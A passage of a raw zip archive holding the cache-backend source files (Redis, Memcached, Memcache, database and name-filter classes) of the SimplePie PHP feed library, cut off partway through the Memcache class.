PKWd[i�o���src/Cache/BaseDataCache.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2022 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie\Cache;

use InvalidArgumentException;

/**
 * Adapter for deprecated \SimplePie\Cache\Base implementations
 *
 * @package SimplePie
 * @subpackage Caching
 * @internal
 */
final class BaseDataCache implements DataCache
{
    /**
     * @var Base
     */
    private $cache;

    public function __construct(Base $cache)
    {
        $this->cache = $cache;
    }

    /**
     * Fetches a value from the cache.
     *
     * Equivalent to \Psr\SimpleCache\CacheInterface::get()
     * <code>
     * public function get(string $key, mixed $default = null): mixed;
     * </code>
     *
     * @param string $key     The unique key of this item in the cache.
     * @param mixed  $default Default value to return if the key does not exist.
     *
     * @return array|mixed The value of the item from the cache, or $default in case of cache miss.
     *
     * @throws InvalidArgumentException
     *   MUST be thrown if the $key string is not a legal value.
     */
    public function get_data(string $key, $default = null)
    {
        $data = $this->cache->load();

        if (!is_array($data)) {
            return $default;
        }

        // ignore data if internal cache expiration time is not set
        if (!array_key_exists('__cache_expiration_time', $data)) {
            return $default;
        }

        // ignore data if internal cache expiration time is expired
        if ($data['__cache_expiration_time'] < time()) {
            return $default;
        }

        // remove internal cache expiration time
        unset($data['__cache_expiration_time']);

        return $data;
    }

    /**
     * Persists data in the cache, uniquely referenced by a key with an optional expiration TTL time.
     *
     * Equivalent to \Psr\SimpleCache\CacheInterface::set()
     * <code>
     * public function set(string $key, mixed $value, null|int|\DateInterval $ttl = null): bool;
     * </code>
     *
     * @param string   $key   The key of the item to store.
     * @param array    $value The value of the item to store, must be serializable.
     * @param null|int $ttl   Optional. The TTL value of this item. If no value is sent and
     *                                      the driver supports TTL then the library may set a default value
     *                                      for it or let the driver take care of that.
     *
     * @return bool True on success and false on failure.
     *
     * @throws InvalidArgumentException
     *   MUST be thrown if the $key string is not a legal value.
     */
    public function set_data(string $key, array $value, ?int $ttl = null): bool
    {
        if ($ttl === null) {
            $ttl = 3600;
        }

        // place internal cache expiration time
        $value['__cache_expiration_time'] = time() + $ttl;

        return $this->cache->save($value);
    }

    /**
     * Delete an item from the cache by its unique key.
     *
     * Equivalent to \Psr\SimpleCache\CacheInterface::delete()
     * <code>
     * public function delete(string $key): bool;
     * </code>
     *
     * @param string $key The unique cache key of the item to delete.
     *
     * @return bool True if the item was successfully removed. False if there was an error.
     *
     * @throws InvalidArgumentException
     *   MUST be thrown if the $key string is not a legal value.
     */
    public function delete_data(string $key): bool
    {
        return $this->cache->unlink();
    }
}
PKWd[��G��src/Cache/Redis.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie\Cache;

use Redis as NativeRedis;

/**
 * Caches data to redis
 *
 * Registered for URLs with the "redis" protocol
 *
 * For example, `redis://localhost:6379/?timeout=3600&prefix=sp_&dbIndex=0` will
 * connect to redis on `localhost` on port 6379. All tables will be
 * prefixed with `simple_primary-` and data will expire after 3600 seconds
 *
 * @package SimplePie
 * @subpackage Caching
 * @uses Redis
 * @deprecated since SimplePie 1.8.0, use implementation of "Psr\SimpleCache\CacheInterface" instead
 */
class Redis implements Base
{
    /**
     * Redis instance
     *
     * @var NativeRedis
     */
    protected $cache;

    /**
     * Options
     *
     * @var array
     */
    protected $options;

    /**
     * Cache name
     *
     * @var string
     */
    protected $name;

    /**
     * Create a new cache object
     *
     * @param string $location Location string (from SimplePie::$cache_location)
     * @param string $name Unique ID for the cache
     * @param Base::TYPE_FEED|Base::TYPE_IMAGE $type Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data
     */
    public function __construct($location, $name, $options = null)
    {
        //$this->cache = \flow\simple\cache\Redis::getRedisClientInstance();
        $parsed = \SimplePie\Cache::parse_URL($location);
        $redis = new NativeRedis();
        $redis->connect($parsed['host'], $parsed['port']);
        if (isset($parsed['pass'])) {
            $redis->auth($parsed['pass']);
        }
        if (isset($parsed['path'])) {
            $redis->select((int)substr($parsed['path'], 1));
        }
        $this->cache = $redis;

        if (!is_null($options) && is_array($options)) {
            $this->options = $options;
        } else {
            $this->options = [
                'prefix' => 'rss:simple_primary:',
                'expire' => 0,
            ];
        }

        $this->name = $this->options['prefix'] . $name;
    }

    /**
     * @param NativeRedis $cache
     */
    public function setRedisClient(NativeRedis $cache)
    {
        $this->cache = $cache;
    }

    /**
     * Save data to the cache
     *
     * @param array|\SimplePie\SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property
     * @return bool Successfulness
     */
    public function save($data)
    {
        if ($data instanceof \SimplePie\SimplePie) {
            $data = $data->data;
        }
        $response = $this->cache->set($this->name, serialize($data));
        if ($this->options['expire']) {
            $this->cache->expire($this->name, $this->options['expire']);
        }

        return $response;
    }

    /**
     * Retrieve the data saved to the cache
     *
     * @return array Data for SimplePie::$data
     */
    public function load()
    {
        $data = $this->cache->get($this->name);

        if ($data !== false) {
            return unserialize($data);
        }
        return false;
    }

    /**
     * Retrieve the last modified time for the cache
     *
     * @return int Timestamp
     */
    public function mtime()
    {
        $data = $this->cache->get($this->name);

        if ($data !== false) {
            return time();
        }

        return false;
    }

    /**
     * Set the last modified time to the current time
     *
     * @return bool Success status
     */
    public function touch()
    {
        $data = $this->cache->get($this->name);

        if ($data !== false) {
            $return = $this->cache->set($this->name, $data);
            if ($this->options['expire']) {
                return $this->cache->expire($this->name, $this->options['expire']);
            }
            return $return;
        }

        return false;
    }

    /**
     * Remove the cache
     *
     * @return bool Success status
     */
    public function unlink()
    {
        return $this->cache->set($this->name, null);
    }
}

class_alias('SimplePie\Cache\Redis', 'SimplePie_Cache_Redis');
PKWd[��d���src/Cache/DB.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie\Cache;

/**
 * Base class for database-based caches
 *
 * @package SimplePie
 * @subpackage Caching
 * @deprecated since SimplePie 1.8.0, use implementation of "Psr\SimpleCache\CacheInterface" instead
 */
abstract class DB implements Base
{
    /**
     * Helper for database conversion
     *
     * Converts a given {@see SimplePie} object into data to be stored
     *
     * @param \SimplePie\SimplePie $data
     * @return array First item is the serialized data for storage, second item is the unique ID for this item
     */
    protected static function prepare_simplepie_object_for_cache($data)
    {
        $items = $data->get_items();
        $items_by_id = [];

        if (!empty($items)) {
            foreach ($items as $item) {
                $items_by_id[$item->get_id()] = $item;
            }

            if (count($items_by_id) !== count($items)) {
                $items_by_id = [];
                foreach ($items as $item) {
                    $items_by_id[$item->get_id(true)] = $item;
                }
            }

            if (isset($data->data['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['feed'][0])) {
                $channel = &$data->data['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['feed'][0];
            } elseif (isset($data->data['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['feed'][0])) {
                $channel = &$data->data['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['feed'][0];
            } elseif (isset($data->data['child'][\SimplePie\SimplePie::NAMESPACE_RDF]['RDF'][0])) {
                $channel = &$data->data['child'][\SimplePie\SimplePie::NAMESPACE_RDF]['RDF'][0];
            } elseif (isset($data->data['child'][\SimplePie\SimplePie::NAMESPACE_RSS_20]['rss'][0]['child'][\SimplePie\SimplePie::NAMESPACE_RSS_20]['channel'][0])) {
                $channel = &$data->data['child'][\SimplePie\SimplePie::NAMESPACE_RSS_20]['rss'][0]['child'][\SimplePie\SimplePie::NAMESPACE_RSS_20]['channel'][0];
            } else {
                $channel = null;
            }

            if ($channel !== null) {
                if (isset($channel['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['entry'])) {
                    unset($channel['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['entry']);
                }
                if (isset($channel['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['entry'])) {
                    unset($channel['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['entry']);
                }
                if (isset($channel['child'][\SimplePie\SimplePie::NAMESPACE_RSS_10]['item'])) {
                    unset($channel['child'][\SimplePie\SimplePie::NAMESPACE_RSS_10]['item']);
                }
                if (isset($channel['child'][\SimplePie\SimplePie::NAMESPACE_RSS_090]['item'])) {
                    unset($channel['child'][\SimplePie\SimplePie::NAMESPACE_RSS_090]['item']);
                }
                if (isset($channel['child'][\SimplePie\SimplePie::NAMESPACE_RSS_20]['item'])) {
                    unset($channel['child'][\SimplePie\SimplePie::NAMESPACE_RSS_20]['item']);
                }
            }
            if (isset($data->data['items'])) {
                unset($data->data['items']);
            }
            if (isset($data->data['ordered_items'])) {
                unset($data->data['ordered_items']);
            }
        }
        return [serialize($data->data), $items_by_id];
    }
}

class_alias('SimplePie\Cache\DB', 'SimplePie_Cache_DB');
PKWd[ȷ}�*
*
 src/Cache/CallableNameFilter.phpnu�[���<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2022 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie\Cache;

/**
 * Creating a cache filename with callables
 *
 * @package SimplePie
 * @subpackage Caching
 */
final class CallableNameFilter implements NameFilter
{
    /**
     * @var callable
     */
    private $callable;

    public function __construct(callable $callable)
    {
        $this->callable = $callable;
    }

    /**
     * Method to create cache filename with.
     *
     * The returning name MUST follow the rules for keys in PSR-16.
     *
     * @link https://www.php-fig.org/psr/psr-16/
     *
     * The returning name MUST be a string of at least one character
     * that uniquely identifies a cached item, MUST only contain the
     * characters A-Z, a-z, 0-9, _, and . in any order in UTF-8 encoding
     * and MUST not longer then 64 characters. The following characters
     * are reserved for future extensions and MUST NOT be used: {}()/\@:
     *
     * A provided implementing library MAY support additional characters
     * and encodings or longer lengths, but MUST support at least that
     * minimum.
     *
     * @param string $name The name for the cache will be most likly an url with query string
     *
     * @return string the new cache name
     */
    public function filter(string $name): string
    {
        return call_user_func($this->callable, $name);
    }
}
PKWd[�0�jsrc/Cache/Memcached.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie\Cache;

use Memcached as NativeMemcached;

/**
 * Caches data to memcached
 *
 * Registered for URLs with the "memcached" protocol
 *
 * For example, `memcached://localhost:11211/?timeout=3600&prefix=sp_` will
 * connect to memcached on `localhost` on port 11211. All tables will be
 * prefixed with `sp_` and data will expire after 3600 seconds
 *
 * @package    SimplePie
 * @subpackage Caching
 * @author     Paul L. McNeely
 * @uses       Memcached
 * @deprecated since SimplePie 1.8.0, use implementation of "Psr\SimpleCache\CacheInterface" instead
 */
class Memcached implements Base
{
    /**
     * NativeMemcached instance
     * @var NativeMemcached
     */
    protected $cache;

    /**
     * Options
     * @var array
     */
    protected $options;

    /**
     * Cache name
     * @var string
     */
    protected $name;

    /**
     * Create a new cache object
     * @param string $location Location string (from SimplePie::$cache_location)
     * @param string $name Unique ID for the cache
     * @param Base::TYPE_FEED|Base::TYPE_IMAGE $type Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data
     */
    public function __construct($location, $name, $type)
    {
        $this->options = [
            'host'   => '127.0.0.1',
            'port'   => 11211,
            'extras' => [
                'timeout' => 3600, // one hour
                'prefix'  => 'simplepie_',
            ],
        ];
        $this->options = array_replace_recursive($this->options, \SimplePie\Cache::parse_URL($location));

        $this->name = $this->options['extras']['prefix'] . md5("$name:$type");

        $this->cache = new NativeMemcached();
        $this->cache->addServer($this->options['host'], (int)$this->options['port']);
    }

    /**
     * Save data to the cache
     * @param array|\SimplePie\SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property
     * @return bool Successfulness
     */
    public function save($data)
    {
        if ($data instanceof \SimplePie\SimplePie) {
            $data = $data->data;
        }

        return $this->setData(serialize($data));
    }

    /**
     * Retrieve the data saved to the cache
     * @return array Data for SimplePie::$data
     */
    public function load()
    {
        $data = $this->cache->get($this->name);

        if ($data !== false) {
            return unserialize($data);
        }
        return false;
    }

    /**
     * Retrieve the last modified time for the cache
     * @return int Timestamp
     */
    public function mtime()
    {
        $data = $this->cache->get($this->name . '_mtime');
        return (int) $data;
    }

    /**
     * Set the last modified time to the current time
     * @return bool Success status
     */
    public function touch()
    {
        $data = $this->cache->get($this->name);
        return $this->setData($data);
    }

    /**
     * Remove the cache
     * @return bool Success status
     */
    public function unlink()
    {
        return $this->cache->delete($this->name, 0);
    }

    /**
     * Set the last modified time and data to NativeMemcached
     * @return bool Success status
     */
    private function setData($data)
    {
        if ($data !== false) {
            $this->cache->set($this->name . '_mtime', time(), (int)$this->options['extras']['timeout']);
            return $this->cache->set($this->name, $data, (int)$this->options['extras']['timeout']);
        }

        return false;
    }
}

class_alias('SimplePie\Cache\Memcached', 'SimplePie_Cache_Memcached');
PKWd[\C��$$src/Cache/NameFilter.phpnu�[���<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2022 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie\Cache;

/**
 * Interface for creating a cache filename
 *
 * @package SimplePie
 * @subpackage Caching
 */
interface NameFilter
{
    /**
     * Method to create cache filename with.
     *
     * The returning name MUST follow the rules for keys in PSR-16.
     *
     * @link https://www.php-fig.org/psr/psr-16/
     *
     * The returning name MUST be a string of at least one character
     * that uniquely identifies a cached item, MUST only contain the
     * characters A-Z, a-z, 0-9, _, and . in any order in UTF-8 encoding
     * and MUST not longer then 64 characters. The following characters
     * are reserved for future extensions and MUST NOT be used: {}()/\@:
     *
     * A provided implementing library MAY support additional characters
     * and encodings or longer lengths, but MUST support at least that
     * minimum.
     *
     * @param string $name The name for the cache will be most likly an url with query string
     *
     * @return string the new cache name
     */
    public function filter(string $name): string;
}
PKWd[
�����src/Cache/Memcache.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie\Cache;

use Memcache as NativeMemcache;

/**
 * Caches data to memcache
 *
 * Registered for URLs with the "memcache" protocol
 *
 * For example, `memcache://localhost:11211/?timeout=3600&prefix=sp_` will
 * connect to memcache on `localhost` on port 11211. All tables will be
 * prefixed with `sp_` and data will expire after 3600 seconds
 *
 * @package SimplePie
 * @subpackage Caching
 * @uses Memcache
 * @deprecated since SimplePie 1.8.0, use implementation of "Psr\SimpleCache\CacheInterface" instead
 */
class Memcache implements Base
{
    /**
     * Memcache instance
     *
     * @var Memcache
     */
    protected $cache;

    /**
     * Options
     *
     * @var array
     */
    protected $options;

    /**
     * Cache name
     *
     * @var string
     */
    protected $name;

    /**
     * Create a new cache object
     *
     * @param string $location Location string (from SimplePie::$cache_location)
     * @param string $name Unique ID for the cache
     * @param Base::TYPE_FEED|Base::TYPE_IMAGE $type Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data
     */
    public function __construct($location, $name, $type)
    {
        $this->options = [
            'host' => '127.0.0.1',
            'port' => 11211,
            'extras' => [
                'timeout' => 3600, // one hour
                'prefix' => 'simplepie_',
            ],
        ];
        $this->options = array_replace_recursive($this->options, \SimplePie\Cache::parse_URL($location));

        $this->name = $this->options['extras']['prefix'] . md5("$name:$type");

        $this->cache = new NativeMemcache();
        $this->cache->addServer($this->options['host'], (int) $this->options['port']);
    }

    /**
     * Save data to the cache
     *
     * @param array|\SimplePie\SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property
     * @return bool Successfulness
     */
    public function save($data)
    {
        if ($data instanceof \SimplePie\SimplePie) {
            $data = $data->data;
        }
        return $this->cache->set($this->name, serialize($data), MEMCACHE_COMPRESSED, (int) $this->options['extras']['timeout']);
    }

    /**
     * Retrieve the data saved to the cache
     *
     * @return array Data for SimplePie::$data
     */
    public function load()
    {
        $data = $this->cache->get($this->name);

        if ($data !== false) {
            return unserialize($data);
        }
        return false;
    }

    /**
